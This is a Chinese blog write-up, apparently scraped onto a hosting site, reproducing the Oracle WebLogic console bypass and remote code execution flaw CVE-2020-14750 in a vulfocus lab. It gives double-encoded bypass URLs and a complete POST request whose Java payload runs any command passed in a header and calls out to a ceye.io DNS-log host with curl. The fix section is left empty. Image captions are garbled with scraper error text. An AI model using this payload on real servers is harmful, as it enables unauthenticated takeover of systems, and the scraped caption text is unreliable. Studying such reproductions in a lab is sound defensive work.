Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

02-27 1554阅读 0评论

Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
    • 漏洞复现
      • 环境搭建
      • 漏洞利用
      • 修复建议

        漏洞名称

        漏洞描述

        Oracle Fusion Middleware的Oracle WebLogic Server产品中的漏洞(组件:控制台),允许未经身份验证的攻击者通过HTTP访问网络,从而导致Oracle WebLogic Server被接管。

        Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现,Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现,词库加载错误:未能找到文件“C:\Users\Administrator\Desktop\火车头9.8破解版\Configuration\Dict_Stopwords.txt”。,使用,我们,访问,第1张
        (图片来源网络,侵删)

        影响版本

        Oracle WebLogic Server 10.3.6.0.0

        Oracle WebLogic Server 12.1.3.0.0

        Oracle WebLogic Server 12.2.1.3.0

        Oracle WebLogic Server 12.2.1.4.0

        Oracle WebLogic Server 14.1.1.0.0

        漏洞复现

        环境搭建

        受害者IP:

        Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现,Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现,词库加载错误:未能找到文件“C:\Users\Administrator\Desktop\火车头9.8破解版\Configuration\Dict_Stopwords.txt”。,使用,我们,访问,第2张
        (图片来源网络,侵删)

        192.168.63.129:7001

        192.168.63.129:7002

        192.168.63.1295556

        攻击者IP:

        192.168.63.1

        vulfocus下载链接

        Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现,Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现,词库加载错误:未能找到文件“C:\Users\Administrator\Desktop\火车头9.8破解版\Configuration\Dict_Stopwords.txt”。,使用,我们,访问,第3张
        (图片来源网络,侵删)
        https://github.com/fofapro/vulfocus
        git clone https://github.com/fofapro/vulfocus.git
        

        启动vulfocus

        docker-compose up -d 
        

        环境启动后,访问http://192.168.63.129:7001/console/login/LoginForm.jsp,说明已成功启动。

        Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

        漏洞利用

        需要注意的是,需要我们先登录才行,不登陆就无法进行未授权,weblogic/welcome1。这里我是在虚拟机里面进行登录的,下面的验证是在本机进行验证的。

        在虚拟机登录成功。

        Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

        访问经过二次编码的url,发现有些浏览器可以绕过登录,比如火狐浏览器或者谷歌浏览器。

        http://192.168.63.129:7001/console/css/%252e%252e%252fconsole.portal
        

        Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

        但是,使用其他浏览器发现绕过失败,使用下面的payload可以绕过。

        http://192.168.63.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=DomainConfigGeneralPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
        

        Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

        通过burp抓包,使用post请求方式进行任意命令执行,在响应体中返回302和localtion跳转信息。在请求头字段cmd加入payload,使用dnslog平台dns带外进行命令执行,

        POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
        Host: 192.168.63.129:7001
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 1364
        cmd: whoami&curl {{*.ceye.io}}
        _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\x0d\x0aweblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\x0d\x0ajava.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\x0d\x0afield.setAccessible(true);\x0d\x0aObject obj = field.get(adapter);\x0d\x0aweblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\x0d\x0aString cmd = req.getHeader(\"cmd\");\x0d\x0aString[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\x0d\x0aif (cmd != null) {\x0d\x0a    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\A\").next();\x0d\x0a    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\x0d\x0a    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\x0d\x0a    res.getServletOutputStream().flush();\x0d\x0a    res.getWriter().write(\"\");\x0d\x0a}executeThread.interrupt();
        

        Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

        在dnslog平台中返回信息,但是没有返回whoami的信息,具体什么原因未知,博主这里没有进一步测试,查看资料msf可以进行命令执行,有兴趣的小伙伴可以试一下。这里后续在补充。

        Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

        修复建议

        1、懒得写,后续在补充


免责声明
本网站所收集的部分公开资料来源于AI生成和互联网,转载的目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。
文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

发表评论

快捷回复: 表情:
评论列表 (暂无评论,1554人围观)

还没有评论,来说两句吧...

目录[+]